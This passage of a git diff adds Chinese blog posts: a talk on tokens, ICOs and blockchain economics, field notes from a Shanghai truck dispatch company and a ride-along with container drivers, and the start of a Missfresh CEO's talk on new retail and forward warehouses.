+【肖风】：当我们在谈到公有区块链的时候，我们说在谈“币”，大家听到有比特币，有各种币。这些“币”，从货币体系或者从金融体系里面来，它到底是一个什么东西？我把它分成四个层次，Currency、Money、Coin、Token。Currency是央行的货币，社会流动性、利率、汇率。Money更多是金融机构从事的生意，是金融机构眼睛里面的货币。Coin原来是英文里面是零钱，自从有了比特币之后，多了一层含义，它是数字货币的一个称呼。但并不是所有的数字货币都叫Coin，从去年以来最风靡的所谓ICO，他们发行的不是Coin，是某种凭证。从Currency到Token货币的属性逐渐在减弱，资产的属性在加强。这也可以解释为什么Token或者Coin价格会大幅度的波动，因为资产价格的波动性肯定是大于货币价格的波动性。 + +【肖风】：我们来看数字货币，把它分成两类，一类叫Coin，一类叫Token，Coin是通用区块链上的货币。首先Coin，不是像现在的发行方法，它是预埋在系统里面，为系统工作的激励机制。第二Coin成为区块链上面记帐的符号，Coin也成为了一种通用的货币，所有的ICO都是以自己发行的Token去换比特币或者去换以太币。没有使用场景，匿名，发行的方法也不同，在某种程度下，也被当做支付工具，比如说日本，认可了比特币。但是Token，绝对不是支付工具，但Token跟应用场景必须结合，Token是有使用功能的，没有使用功能就不是Token或者说就是一种诈骗。网上有一个笑话说中国执法机关宣布说要去追究这些ICO发行者、宣传者、工程师们的责任，结果没有证据抓那些工程师，因为90%的ICO没有写过代码，没有工程师。Token变成一个应用项目，某一个应用项目，他发行了一个筹资的凭证，同时它有使用的价值。再有一个，它有一个什么好处？Token是可以送的，很多人，比如说他写完基础白皮书之后，其中有3000万个Token送给比特币的持有人。为什么他要送？导流啊，你有了我的Token在里面，你就成了我的客户，如果我的系统开发得很顺利，我这个系统上线之后，应用方面也证明成功，那我的币会涨，那你跟我的关系，自然比我去买来的流量客户关系要亲密得多。 + +【肖风】：Token是有很大的经济价值的，Token这个东西不是区块链以后才有的，Token早就有了，自古以来Token就存在。那么Token在经济学上有经济价值，最早可以从赌场追溯，赌场发给你的筹码就是Token，游乐场的代币也是Token。赌场和儿童游乐场的Token有这样几大经济意义，第一方便结算，如果每次玩都要换钱或者收费，这是一个很麻烦的事，你一次换完我的Token，你完完之后再结算，你只跟商场发生一次，如果去赌场的话，往往也只发生一次。最主要的，在西方有一个简化税收的作用，而且在赌场里面拿1万美元进去，有可能一下子变成20万，20万之后变成5000，怎么来收你的税？所以最后一把结清，没有了，只在买Token的时候发生税收，中间跟税没有关系了，这是经济意义。 + + +【肖风】：从赌场到儿童游乐场再往上走一级，我们发现网络游戏，网络游戏天生要带Token，任何网络游戏如果不带Token，就无法想象谁去玩它？这种网络游戏里面的Token和赌场、游乐场的Token是升级版，除了它也有简化税收、方便结算的作用之外，它有了经济激励的作用，你打游戏可以获得金币，这个金币可以在里面买东西，买工具，买来的东西可能会升值，甚至是几万、几十万，那个Token就有了经济激励的作用了。从网络游戏的Token再到区块链世界上的Token，就更厉害了，它的功能，它的性能得到进一步的升级，除了有经济激励，不管是比特币区块链还是各种ICO发出去的Token，都有经济激励的作用，除此之外，应用项目某个应用者发自己的Token，本身有筹资的作用，Token还有用户导流、市场推广、交易媒介，还有生态建设的作用。 + +【肖风】：什么叫生态建设的作用？我刚才讲到区块链3.0的时候提到有一个公司叫EOS，EOS做了自己的ICO，筹了将近10亿美元，它的ICO还没有结束。这时候他宣布，他是一个公有区块链，是一个基础链，EOS本身上面没有应用，它建了一个基础链，它希望其他的应用开发者在他的公有链上做应用开发，那就叫建生态。我为什么要到你这里来呢？我作为一个应用开发者，为什么要到EOS的公有链上开发我的应用呢？EOS说我你到我这儿来，我会给你好处，首先我有10亿美元，这10亿美元宣布还跟外面的VC基金，如果任何一家VC基金愿意出一比一的货币，我愿意拿同等价值的货币合租基金，只能投在我的EOS区块链上的应用开发项目。回头他对那些应用开发者说，如果你愿意到ESO的平台上做你的应用开发，那么你可以把你的Token，你将要发出去的Token分成三份，第一份，不是要Token融资嘛，现在并不只是中国禁止ICO，包括美国也好，都在收紧ICO的监管政策，弄不好就可能触犯法律，因为美国证监会的主席说你们要小心，我认为你们触犯了证券法，我要起诉你们的。好了，你也不用去外面做ICO了，你把你们三分之一的Token直接给我，我这里有10亿美元，还有别人相配套的10亿美元，有20亿美元，我们两个人是机构投资者，你把你的Token发给我就行了，我把钱给你，这样的话，你就不会有法律问题。 + +【肖风】：确实私募发行在全球都是合法的，不管你发的是Token还是发的是什么。然后你再把你的另外一个三分之一的Token送给持有EOS币的持有人，每个账户都空投你的Token给他，完成了你的客户导流和市场推广。剩下的Token，你留着作自己的激励，激励你自己的这些创始人、开发团队。这就是建生态，首先第一个应用开发项目避免了法律风险，第二这些应用开发项目，把钱送给了EOS的持有人，自然他就有基础用户。关键问题是EOS币还会涨，因为他投出去这么多的应用项目，手上拥有了这么多应用项目的Token，成功了可能涨十倍、五十倍、一百倍，对EOS币来说是一个很好的前景。第二个很多人会来投资EOS币，因为你只有拥有了EOS币之后，才能免费得到在EOS区块链上面的项目。对于应用项目来说，你没有任何风险，你变得很简单，专心致志开发，开发成功了，你手上还有很多币，币涨了就是激励。但对于EOS来说，EOS币价格上涨之后，他要付出的东西很少。所以，Token在生态圈的建设上，还有这么大的作用，这是讲它正面的东西。 + +【肖风】：确实这个Token，这种ICO在中国被用得非常非常不好，世界上有两种ICO，一种叫中国ICO，我们确实是中国特色。中国ICO确确实实假的东西太多太多，我经常看到一些白皮书，都会吓死人的。简单介绍一下ICO，就是首次数字代币发行。ICO最大的问题在哪里呢？在两点上面，去年9月4日金融风险整顿小组文件里面两点，第一，公开发行，公开发行在全球都是有很严格的要求和标准的。IPO能够公开发行，这个企业至少有三年以上的经营历史，它的商业模式至少是经过三年的时间检验，在商业上是成功的，并且它有盈利，才能允许你IPO。那一个写完技术白皮书直接去公募，这无论如何都是不能接受的。所以公募，这个东西不改是不可以的，用私募的方式来发Token，这个其实无所谓你发的是Token还是股权，因为私募或者合格投资者有能力辨别你的好坏，但让公募，不具备专业知识的人上来买你的Token，这是必须改变的。 + +【肖风】：第二点，ICO还有一个，你上市交易，到公开市场上去交易，这也是目前为止《证券法》所必需要约束你的，不能说我今天ICO结束，明天就开始交易了，白皮书呢，说五年以后再上线，我的系统五年以后才可以看得到。美国证券会曾经警告过美国的ICO的项目，说有些ICO的项目确确实实有使用价值，确确实实是功能性的代币，不是证券类的代币，但是你们要小心，你的区块链的主链还没有上线被人使用，但你的币已经在别的交易所交易了，那你给我解释一下，你的币是功能性的，是有使用价值的，别人在交易所买了你的币到哪里去用呢？你的链还要一年以后才能上线，买你的币没有地方用，因此可能会被认为买卖的是证券。这是美国证券会在两年以前警告过的，既使你这个币可能有使用价值，但是你的交易行为仍然触犯《证券法》。 + +【肖风】：Token还可以分成三类，第一类就是证券类的Token。我们现在有很多的ICO的Token，确确实实发行的就是证券。证券类的Token，在美国证券会有一个很清晰的认定标准，所谓豪威测试四原则，第一条你投资的资金，不是以比特币或者以太币去换的。第二，你投这个钱的时候，有获得利润的预期，或者别人在卖Token给你的时候，告诉你可以有分红，我们这个项目可以赚钱，那你有获得利润的预期，因为所有的ICO都是非盈利机构发行的，所以它不可能有收入，更加不可能有盈利，任何有盈利，还是分红的ICO统统都是骗子。第三个建立了共同事业，上市公司就是建立了共同的事业，你只要买了一股股票，你就是公司章程里面的股东，因此你和公司的董事会、和经营层，和员工形成了共同的事业。但ICO不是这样的，你持有这个币并不等于拥有这个网络，ICO的基金会也不拥有这个网络，所以这不是你的事业，你买来的只是一个使用价值的东西。第四条，你的收益是基于他人的经营管理的努力，就是说还有职业经理人在帮你打理这个事情，有管理层，有员工做这个事，你的收益是他们的努力得到的，这个事是证券。因为比特币区块链没有员工，没有董事会，没有管理层，如果有，你是一家公司，如果你是一家公司发一个凭证给别人，那就是证券。 + +【肖风】：第二类是功能类的，它只有使用价值，而且这个使用价值不能分离的，这个使用价值里面很重要的一点，因为你用它发的Token，去使用这个系统，你的币会变少，你用一次需要付一点点费用。但这个费用去哪里了呢？如果是一家公司，那这个费用被这家公司收了，变成营业收入。如果它不是一家公司，没有收入，但我的币使用的时候会变少，到哪里去了呢？烧掉了，就像车一样的。它也会让你付一点费用，但这个费用不是变成了这个系统的营业收入，更加不可能变成盈利，而是到空气里面去了，所以它是一个非盈利机构。你的获益就是币价作为一个资产类别，它会上涨或者下跌。 + +【肖风】：还有一类叫单位信托类，也有人发行自己的Token凑集比特币或者以太币，去换别人的Token，Token上市交易，涨了，你能有收益，类似于像募集基金单位一样的。 + +【肖风】：最后，想跟大家讲的是，加密经济学在讨论什么问题？首先第一个，我们刚才讲到了区块链上，因为整个区块链的运行，区块链上的经济组织的运行不是靠人，不是靠公司，靠的是数学算法。点对点的交易靠的也是数学算法，大家可以知道，一套数学算法，一个人用和一万人用边际成本是不增加的。尤其是边际成本趋于零，那我们还需要“公司”这种组织制度吗？“公司”之所以被发明出来，之所以有存在的必要，是因为市场交易成本太高，所以我们有必要把某一部分市场功能内化为企业内部的流程降低成本。之所以企业能够存在，就是因为你内化以后的某些功能的成本会低于市场，所以企业有存在的必要。当边际成本变成零的时候，就不需要公司了，因为你没有存在的道理了，你存在失去了理由。 + +【肖风】：第二个问题来了，如果公司不需要了，产权保护还有价值吗？我们之所以要保护产权，是因为我们需要依赖于商业机构，我们不需要“公司”这个制度之后，我们就不需要去保护公司的产权，所以你会看到公有区块链来好，ICO也好，为什么不采用“公司”做这个事情？因为你用“公司”的方式没有道理，既然成本为零，就不应该采用“公司”，所以所有的ICO项目，包括所有公有区块链的项目，统统都是非盈利组织，所有的知识产权都是开原的。所以在区块链上面创业，技术的门槛趋于零，因为别人写的任何一行代码，都是开原的，而且你去使用这个代码，去抄这个代码，不需要经过任何人的允许，也不需要付费用，技术的护城河几乎是为零，这也就是为什么在中国出现乱象的原因。这两个东西公司制度和产权理论如果都可以重新考虑，那么现代经济制度的两个基础的东西就要重新考虑了。我们基于工业社会、工业经济的两个基础产权制度和公司制度都没了，还有“公地悲剧”，还有区块链上的生产者、消费者合为一体的等等，包括开原、共享经济等等，还有网络共识机制，数字货币的激励机制，激励机制是经济学家讨论了几十年的问题，怎么建立一个有效的激励机制，在区块链上你要重新审视它，很多东西都要受到冲击，很多东西都要被改写。 + +【肖风】：这些东西被改写，最后会导致出现一个什么状况呢？我把它命名为分布式商业。比特币区块链就是分布式商业的一个非常伟大的实验，比特币是不是真的最好的一个设计？不一定，也许几年之后比特币会死掉。但如果真的比特币死掉了，一定是有一个比比特币更好的数字货币起来了。如果从工程实验的角度，所谓自组织的治理机制在工程技术上面的实验角度来看，比特币的历史价值是非常伟大的。 + +【肖风】：比特币区块链就是一个分布式商业的最伟大的实验，所有的产权是开原的，所有的组织机构是非盈利的，没有股东，没有董事会，没有管理层，什么都没有，是一个“八无”公司，但是它运行了九年时间，每秒钟都在发生着交易、汇兑、支付，没有出现过坏账，系统没有出现过当机。任何中心化的系统，既使是金融机构的系统，每年一定会出现系统当机（谐音），这是我仔细请教过IBM的，你们的技术能不能做到像比特币区块链一样的一秒钟的当机出现？他说不可能的，为什么比特币区块链可以做到？分布式网络。由谁在管理它吗？没有人管理它，自己花钱买了服务器，跑到四川找一个电费便宜的地方，为比特币区块链工作，没有人组织他们，为什么来？因为有利益，有很高的利益，有一套激励机制。 + +【肖风】：所以分布式商业，不是取代我们现有的公司，也不是取代政府对市场的管制，在市场失灵的时候，政府的管制是必须的，只是说在这两者之外，会多一个东西，为什么会多一个东西？多出来的自组织分布式商业在以前就有。为什么突然变成一个显学？因为我们的经济越来越数字化，在互联网上，在数字世界里面有很多东西原来的规则，原来的机制，原来的理论不够了。所以未来，所谓的市场机制、政府管制和自组织治理这三者会相得益彰，它不是革命，也不颠覆，也不是谁取代谁，也不是政府没有了，政府还是政府，在这两者失灵的时候，政府的管制有独到的价值。同时，企业也有企业的价值，但是在数字世界里面，可能有一套新规则来治理我们越来越数字化的经济，这个里面很多地方更有效的是分布式商业，是自组织。 + +【肖风】：今天我的分享就到这里，谢谢大家。 + +[万向肖风再话区块链：区块链与加密经济学](http://www.8btc.com/wan-xiang-blockchain-0228) diff --git a/_posts/2018-03-05-271-diaodu.md b/_posts/2018-03-05-271-diaodu.md new file mode 100644 index 0000000..c790f77 --- /dev/null +++ b/_posts/2018-03-05-271-diaodu.md @@ -0,0 +1,54 @@ +--- +layout: post +title: H总车队调度公司见闻 +pid: 271 +tags: [货代] +--- + +今天是2018年3月5日，第一天来到调度公司，调度公司位于上海宝山区的在一间没有装修的出租房内（房租3600每月），所有设备都是最简单的，两个办公桌，两台电脑还有打印机就是这家调度公司的全部，调度公司上午很忙，下午基本上就是消遣的时间。 +调度公司小区旁边就是货车停车场，停车场的不远处就是一个堆场。 +调度的工作： +1. 接受老顾客的订单 +2. 上网找新的订单 +3. 接受客户的询价，然后根据经验去报价 +4. 确认拿到运单后，调度制作装箱单。 +5. 司机拿设备交接单去堆场提箱 + +每一家公司对司机的管理都有自己的方式，这家公司就是底薪加出工费，司机也可以灵活的去赚一些外快，比如数据从洋山港带个空箱，司机基本工资5000左右，每个月出25天工，每天差不多200元，小计5000元，所以共计1万元，加上自己每个月的一些外快，司机的收入还是可以的。 + +调度公司和司机最头疼的问题就是计划的改变，来自工厂的，天气的，司机的等等，只要影响第二天的计划，他们都讨厌。 + +在整个过程中，我们发现司机调度会 +1. 跟踪当前车子的位置， +2. 司机是否偷油， +3. 打印装箱单， +4. 给司机发出车费，结算工资， +5. 邮寄装箱单和出工费。 +6. 调度不喜欢拼箱 +7. 调度厌恶工厂不及时做箱 +8. 调度讨厌去交通不方便的地方，比如苏州木渎（交通各种限制）讨厌过江（过江有额外费用） +9. 调度不用手机端应用 +10. 喜欢钱多，事少 +11. 整理结算清单，自己内部的，客户的等等 +12. 整理黑名单 + +调度公司人员组成： +1. 老板（H总） +2. 调度（L调度） +3. 司机（长期有11人车） + +如果我们开一个调度公司，以下几个问题很重要： +1. 识别烂单，拒绝烂单（什么样是烂单？ +2. 合理报价（价格组成？） +3. 日常管理（安排车辆计划） +4. 跟踪全过程 +5. 异常处理 + +以上几点，需要整理成为文档，作为知识储备，方便后面使用。 + +每个车队都有自己擅长的，和不擅长的，要整理出来。 + +调度公司的风险有哪些？ + +取上，取中，取下的问题？ +我们的调度，对标哪家？是H总这一家，还是什么？具体运营模式是什么样子的？ diff --git a/_posts/2018-03-06-272-siji.md b/_posts/2018-03-06-272-siji.md new file mode 100644 index 0000000..6527028 --- /dev/null +++ b/_posts/2018-03-06-272-siji.md @@ -0,0 +1,64 @@ +--- +layout: post +title: 集卡车跟车见闻 +pid: 272 +tags: [货代] +--- + +> 上午 + +07:20，出发去调度公司 + +10:34，开始了我的一天跟车生活。 + +11:00，我上的是老S师傅的车子，老孙师傅吃住在车上，副驾驶座位上面是一个面盆，脚踏上面是一些做饭的东西，水瓶什么的，除了驾驶座位，其他的地方都很拥挤，我只能抱着我的鞋子坐在司机师傅后面他睡觉的地方，看着周围一辆辆集卡车从身边驾驶过去，从来没有见过这么多的集卡车。 + +刚刚上车没多久，我们就遇到了一个问题，堵车，在上海外环隧道的入口处，有很多很多的集卡车，因为外环隧道是三车道，但是只有2车道可以给集卡司机使用，然而汇入的确有5条车道，所以，特别的堵车，司机特别讨厌堵车，堵车的时候，司机也很无聊，没事儿干。 + +然后，我们来到一个私人堆场，因为我们要在这里把两辆卡车上面的小箱调箱到一辆卡车上面，第一次见到这么大的抓箱机， + +从私人堆场，我就上了G师傅的车子，目标洋山港，这一路，通过和G师傅的交流，我们发现： +1. 空箱调箱30块，满箱50块 +2. 五一、十一拿箱子特别辛苦 +3. 过高速需要司机自费 +4. 警察检查，都是要收费的，所以要合理的避开检查，比如临港服务区16:30~19:00是警察交班的时间 +5. 司机吃饭时间不固定，因为要避开警察的检查，所以几乎所有的司机，都有胃病 +6. 有些工厂不提供吃饭和休息的地方，尤其是有些园区，也找不到吃饭的地方，所以，到工厂了，如果有一口热饭吃，有个休息的地方，司机师傅是非常开心的。 +7. 集卡车上面，国家强制安装了定位器，而且司机不可以关闭 +8. 有些贵重的箱子里面也是有定位器的，箱子一旦被打开，都是可以被工厂知道的 +9. 因为司机长期坐着，所以，他们的脊椎多多少少都是有问题的 +10. 司机会在临港服务区等第二天的单子，然后再进港，如果没有单子，司机师傅就会到里面飞单，赚点儿钱 +11. 调度和司机之间，司机和司机之间，都是电话联系，微信联系 +12. 司机只要不在开车，就都在休息睡觉 +13. 刚刚入行的货代小姑凉不能够理解他们，这个也让他们无奈 +14. 大雪封路，警察送饭，送水 +15. 在验箱、提箱的过程中，要给小费 +16. 设备交接单，的设备其实就是集装箱 +17. 出港的时候，空车和动检是两条不同的路 +18. 哪个地方的饭可以便宜几块钱，是司机师傅最关心的 +19. 司机希望无纸化，不要等，不要堵车，他们希望专心的开车，然后拿到一份不错的薪水 +20. 司机开车过程中，不听广播什么的，专心开车 +21. 装箱码头的出口，都有临时吃饭的地方，所以有非常多的司机师傅，停在那边 +22. 飞单的地方，有特别多司机师傅来飞单，飞单软件是在微信上面的普通网页 +23. 司机都是吃住在车上 +24. 司机讨厌堵车 +25. 司机讨厌收小费的行为 +26. 司机讨厌打电话催他们，尤其是逢年过节的时候 +27. 司机讨厌路况不好，颠来颠去的地方 +28. 集卡车就是司机师傅的家 +29. 司机师傅在服务区梳洗，打热水 +30. 司机希望专注于开车，不要去考虑其他的事情，尤其是花他钱的事情 +31. 进码头，只允许有一个司机 +32. 在正确的时间点进码头，进卡口，都可以很好的节约司机的钱和时间 + + +> 晚上 + +18：41，司机在港口出口吃饭，休息 + +21：30，G师傅送我到在水产路地铁站 + +22：35，到达住的地方 + + +司机都在用一个 飞单的软件，而且是在争先恐后的用 diff --git a/_posts/2018-03-14-273-missfresh.md b/_posts/2018-03-14-273-missfresh.md new file mode 100644 index 0000000..92af777 --- /dev/null +++ b/_posts/2018-03-14-273-missfresh.md @@ -0,0 +1,453 @@ +--- +layout: post +title: 新零售认知：站在未来看现在 +pid: 273 +tags: [零售] +--- + +新零售认知：站在未来看现在 + +徐正（每日优鲜创始人、CEO） + +首先，我们觉得大家可能知道一句话：这个世界唯一不变的就是变化。 + +这个世界每天都在变化，很长的时间就会积累很多变化，变化其实有两种：第一种是波动，第二种是趋势。 + +股价会涨也会跌，这叫波动。而10年股价又涨了一个很大的轮次，就是趋势性增长，比如腾讯的股票。人和人之间对于一个长期趋势的不同判断，就会产生不同的认知，这种认知的差异应该就是一个伟大格局的起点，这是我们最起码的认知。 + +在各行各业中，除了农业，零售行业的变化速度是最慢的，而变化越慢的行业，本质上越做的是趋势性投资，和波动其实没有什么关系。 + +在历史上，成一定规模，能够写进零售史的企业都是要10年才被人看懂的企业。所以，我们认为在这种趋势性投资的行业，要把未来的很多年都看清楚了，才有帮助。 + +例如在早期，沃尔玛被认为是一个没有未来的公司，但经历了美国上世纪50年代前后的一波消费升级之后，因为有不同的代际人群出现，产生了不同的购物需求，催生了新的购物业态。 + +同样，在日本创立于70年代的7-11，早期也特别不被看好，但经过了若干年的经营，促成了日本便利店业态的崛起。在中国，BAT里面最晚被认知到巨大价值的其实是阿里巴巴。 + +这背后的原因是：零售是解决人和商品的连接。 + +这个涉及到后台繁碎的供应链重构，而当供应链重构，不断积累规模，产生真正的效应，被人看明白的时候，过程就要漫长一点。而人和人的连接不一样，人和人的连接一旦产品对了以后，连接是很快的，它是双相社交传播的。 + +一般一个好的社交产品，1至2年就已经起到足够规模了。人和信息连接的公司比较快，因为它另外一端供给侧是非物理世界的，可以在数字世界完成内容生产、视频、音乐等等。 + +但是，人和商品的连接一般呈一定规模，时间会更长。越长的东西就越不容易被人看懂，因为很多人是要看到结果才看明白，知道原来这个是好东西。所以，在早期能做好趋势性的判断、投资和决策的人是少数，这也是我们对于零售创业或很多行业创业一个差异的理解。对于长期趋势判断的不同认知是伟大格局的一个起点。 + +一． 近场化是零售业发展的一个必然趋势 + +从线下的业态看，最早是集市，买卖双方在指定的时间和地点可以交易一次，后来慢慢固化下来，形成我们最早讲的超市，比如沃尔玛在乡镇。慢慢距离更近了，就有了便利店。 + +现在大家也看到都有无人零售了，其实零售的业态对用户来讲，线下要到店购物的话，距离已经从商圈级进化到社区级，再进化到建筑物级。无人零售其实就是把零售作为一种功能组件嵌入到了一个建筑物体。 + +线上也是这样，最早网上能买到的东西，隔日达或者3日达。现在在美国很多地方的电商还是隔日达，甚至是3日达。慢慢的有人把它提升到了次日达，再慢慢的可能就是1小时或者30分钟内到达。我觉得在零售业，这种越来越方便获得商品的趋势是没有变化的。 + +二．从2015年到2025年，80后、90后、00后三代人将变成社会生鲜购买的主力军 + +每日优鲜是2014年底成立的一家公司，我们去做生鲜，切入到社区的零售，从用户端来看，我们看到最大的驱动力是80后、90后、00后，这三代人将从社会生鲜购买的生力军变成主力军。 + +当你把这个生意的镜头拉到10年周期去看的时候，其实很多底层的东西就可以看的很简单、很清晰，而不要去考虑那些1、2年的波动。当这代人从不买菜到买菜的时候，是不是有可能催生业态发生大的变化？ + +零售业态就是几十年变一次，特别是一代人的不同。80后、90后、00后有很大的不同： + +第一，他们是互联网催生的一代。这就意味着他获取信息首选互联网，而不是线下。所以，他更愿意从线上获得信息，做完商品购买的决策，甚至完成交易；第二，他们是独生子女一代。独生子女一代简单讲基本没干过家务活，给他们五种土豆，可能他们很难分辨出哪种更好。 + +当然，他们可以学习，但是要学香水哪种更好？哪种红酒更好？这么多信息涌现在80后、90后、00后面前，他们还在焦虑抖音最近粉丝涨没涨，哪儿有时间去学这样的东西呢，又不值得分享。 + +01. 到店 → 到家 + +如果这些人性的洞察看清楚之后，我们就会发现对于这一代人购物会是什么样子。比如说，未来这一代人、两代人、三代人买菜，更多的是到店还是到家？答案其实很简单，毫无疑问，到家的比例会更快速地增长。 + +以女性为例，如果说女性客户在过去买包包、衣服都有20%至30%的比例在线上完成的话，买菜不应该低于这个比例。从用户需求侧来看，买菜的快乐并不比买衣服的快乐多。 + +所以说如果一个人是做一件快乐的事，我们产品设计的原则是让这件事变得更复杂。游戏不能太简单了，某款游戏冲顶Apple Store就是因为下载之后，一按，一键通关，即可卸载，我想这种游戏是不会火的。 + +但是，如果一个人做这件事情不快乐，我们做产品的原则应该是让这件事情变简单，而且越简单越好。所以，我觉得微信团队是做产品的高手，他们已经感受到大家用微信的时间太长了，从快感到了一种焦虑，甚至是负担。所以他们这一两年做的事情都是保证一个超级产品尽可能的简单，不给用户太多的负担。 + +02. 海量→精选 + +每代人有每代人的不同，人想要什么就是缺什么，人不想要什么就是这个东西太多了，这是人性。我是1981年出生的，我记得我小学的课本里面写到，百货商场有一个形容词，就是琳琅满目，说明在那个时代百货商场就应该是琳琅满目的，大家都期待着琳琅满目的卖场。 + +而到现在，我问我们每日优鲜的快递小哥：“你们现在追妹子会去家乐福吗？”他说：“你要约人去家乐福的话，估计约都约不到了。”这就是一个业态在大家心目中的位置变得不一样了，从潮流型消费的业态变成了一个功能型的业态。 + +从这个时代开始，用户需求和供应链的钟摆，从用户端开始摆到供应链端。这个时候会反向思维，会超越现状。 + +跳出现在的这个惯性看未来，就会去做精选，过去成长快的零售商，多多少少在它的供应链上都秉承了这样的原则，无论是小米还是网易。每日优鲜也在做这样的事情，其实用户不需要那么多选择，他需要在众多的选择中，你告诉我一个好的选择。 + +所以，用户需要一个购物的准绳，特别是当这些品类没有好的商品品牌的时候。我买猪肉不知道买什么牌子。买移动电源，那么多牌子，好像都是一个商标，并没有建立品牌特质和信任，我买小米的吧。买净化器买什么牌子，买小米的吧。所以慢慢的都会往这个方向去迁移。 + +03. 原料→成品 + +我们看到的趋势是越来越多的成品。因为用户不太会做，所以我们从来在线上没有销售过帝王蟹，因为用户可能需要的是“花雕蒸帝王蟹”这样一道菜，好吃，最好还能拍照，这是好产品。 + +人性没有变，但是折射到现在的需求变了，就会产生不同的认知和判断，有的人觉得会往左走，有的人觉得会往右走，每一个十字路口拐的不一样，拐完几个路口，可能各个物种就进化成了不同的样子，这就是我讲认知决定布局，就是怎么去观察消费者到底是在什么样的趋势下变化，这是我们的一些观察。 + +所以，每日优鲜做的所有商业判断都是基于这个起点、认知的不同。2015-2025年，生鲜购买人群已经变成了80后、90后、00后，这种判断决定了我们做所有事情的决策和不同的表现，这是我们过去的一个看法。 + +我们也笃信，中国在2020年前后会发生一波巨浪型的消费升级。应该会像上世纪50年代美国的那一波和70年代日本的那一波一样，催生一个新的零售业态或者物种，这种物种是值得写进全世界人类零售史的。 + +这些预判我们发自内心的相信，如信仰一般，当然，这个背后还有很多其他的观察和思考。 + +三. 新零售布局三大策略 + +基于对新零售这样的认知，决定了我们怎么去布局。每日优鲜要做的就是让每个人能够随时随地享受食物的美好。首先，用户是每个人，不是小众。其次，用户对又好又快消费升级的需求。 + +好就是食物要好，快就是更方便，随时随地。所以每日优鲜的使命和方向就是让每个人随时随地享受食物的美好。随时随地享受食物的美好，我们分成了两部分来看： + +看前台，强调的是广度，看的是用户所在的场景。他生活的空间，无外乎是在家、在办公室、在路上和在公共场所。这个公共场所指的更多是商场这样的地方，耗费了一个人平均一周有小一天的时间； + +看后台，强调的是密度。后台就是满足用户需求的能力，你的供应链、会员、数据、物流体系，零售的生意都是统采分销的过程。所以，最早我们讲连锁，连的是后台，供应链、物流等能够形成规模化效应，连了以后就产生效率。 + +10个夫妻老婆店，就不如一个连锁便利店体系的效率高，因为它可以统配物流，会员体系、数据体系等等。连锁，连一部分，锁一部分，锁的就是指前台，一个一个都零卖出去的时候，它能不能有一个容易标准化复制的前端。 + +尽管现在我们换到用互联网，但零售本质上其实并没有太大的变化，同样分一个前台，一个后台。前台是怎么满足用户碎片化的场景和购物需求的，后台是在满足这些需求的时候，能不能有集约化的、规模化的环节，整合之后提高它的效率。 + +01. 交付策略：前置仓建设 + +前置仓本质就是把修到城市周边的冷链物流升级到社区级。打个比方，就是把一个社会的通讯网络从2G升级到了3G，它带来了以下好处： + +① 更好的用户体验。下单1小时到。前置社区仓是一个多温区的冷库，每日优鲜在20多个城市修建了1000多个社区的冷库，每个冷库大概100㎡多，里面的空间是多温区的，有冷冻、冷藏、恒温、常温区来分布的这些商品。 + +因为我们是仓储式的，不需要像原来零售业那样两排货架之间过道要宽一点，要让两个人容易走，也不需要货架的高度控制在一定范围之内，让一个160㎝身高的客户能拿到那个商品。 + +所以，我们的空间利用率更高，100-150㎡的仓储，大约相当于300-500㎡零售店的商品陈列丰富度。前置仓建完之后，用户的体验开始发生变化，下单1小时送到，首次线上买菜比在线下更便捷，否则我买一个东西，次日达，或者是隔日达，就很麻烦。 + +“吃”这个东西可能是说“刚需”，但是对于吃什么，用户做出判断的能力并没有那么长的时间和计划性。传统零售的供应链不够柔性，所以，就要做超出实际需求和能力、舒服区的计划性。这就有两种可能： + +A. 省着买。如果可能不需要则不买，这就跟我们做预测一样，就是买回来以后，在家里有可能缺货，缺这个、缺那个，想吃哪个东西没有； + +B. 超出计划的购买。反正可能会吃的就买了，很多人就是这么买的。因为财务都自由了，大家生活水平也提高了，大部分是后者，买完之后回到家就浪费很多。每次清理冰箱的时候，很苦恼，浪费就算了，关键是还不方便，每次打开要看一下过没过期，因为也不记得是什么时候买的了。 + +所以，这是用户的心理，就是供应链的极不柔性，7天去一次，而且很麻烦。当我们有这样的需求的时候，你下单1小时送到就给了一个更柔性的供应链，随时订随时送到，大家的需求就突然被激发了。 + +② 更好的品质。原来我们请美国农业部的保险专家来中国，在给我们做保险基础设施技术升级的时候，提了一点：中国2C的生鲜商品90%断冷链，美国是反过来的，90%没有断冷链。 + +中国的城市周边也有冷库了，没有哪个大中商品的经销商敢把自己的商品该冷藏的不冷藏，那是不可能的，真正断冷链是断在社区级的门店上。中国超市最多的是各种柜子，冷链是逐渐迭代出的。 + +一开始就四面墙，后来发现要卖一点冷藏的，就摆一个柜子，后来又摆一个，越摆越多，现在变成了一个门店里都是柜子，门店后面也没有仓，货到了以后放的店后暂存仓是断冷链的。 + +而所有的生鲜像孩子一样，是个活物，因此我们做保鲜恒定是指温区不要变化，0-4度就一直是0-4度，一直到用户手上之前都是0-4度，中间一冷一热，温差的变化带来商品的变质就很快，中间不断冷链是很重要的。虽然大家可能买到的很多东西是0-4度，但是这个过程如果后面断了，东西的品质就会不同，所以我们的品质是更好的。 + +③ 更低的成本。 做前置仓成本很低。在“到家”的用户场景下，像房租、收银机等等这样的摊销成本用户其实是不要的，菜过来就好了，所以我们很关注前置仓，有了前置仓后这些效率就会提高，因为我们笃信未来“到家”比例会飞速的成长。 + +还有一个好处就是复制快。所有的快递公司在中国的配送网点，数量级都是十万左右，而一些零售门店在中国的分布式网点，数量则大概是千级。并不是那些快递公司的管理能力比那些日本的、香港的、台湾的便利店强多少，最主要的原因是因为他们分布式节点的作业足够简单，简单复制到十万，管理能力一般也管得住。 + +零售门店相对复杂，复制多了，管理半径就很快显现出来了。所以，在中国做零售，千家店是很重要的，没有谁会站出来说我有一万家店。但是做物流、做仓的，一万个分布式的点是才刚刚起步。 + +仓的复制性极强，这是我们前置仓过去做的事情，有了这样的基础设施，无论我们现在30分钟、1小时“到家”，还是我们无人零售便利购这个子公司今年孵化，我们让用户能“到家”买的到东西这件事情成为可能了，这是一个基础设施的事。 + +对创业有帮助的结论： 第一个观点是所有社会基础设施的建设，当你决定建的时候，和你建完之后，整个过程中遇到的你能想象的困难，一定是超出你能想象到的。但是，做完之后，得到的回报也是超出你的想象的。 + +以每日优鲜为例，我们做这个其实开始就是想做“到家”业务，做完“到家”业务发现这个基础设施很好，我们才有机会去做无人零售，这就是上帝给你的一个奖励，对于一个辛辛苦苦建基础设施人的奖励。 + +对于一个用户要水，水在3公里之外，有的人每天在挑水，而你们这个时候在修水管的人的奖励，这是我们的第一个观点。 + 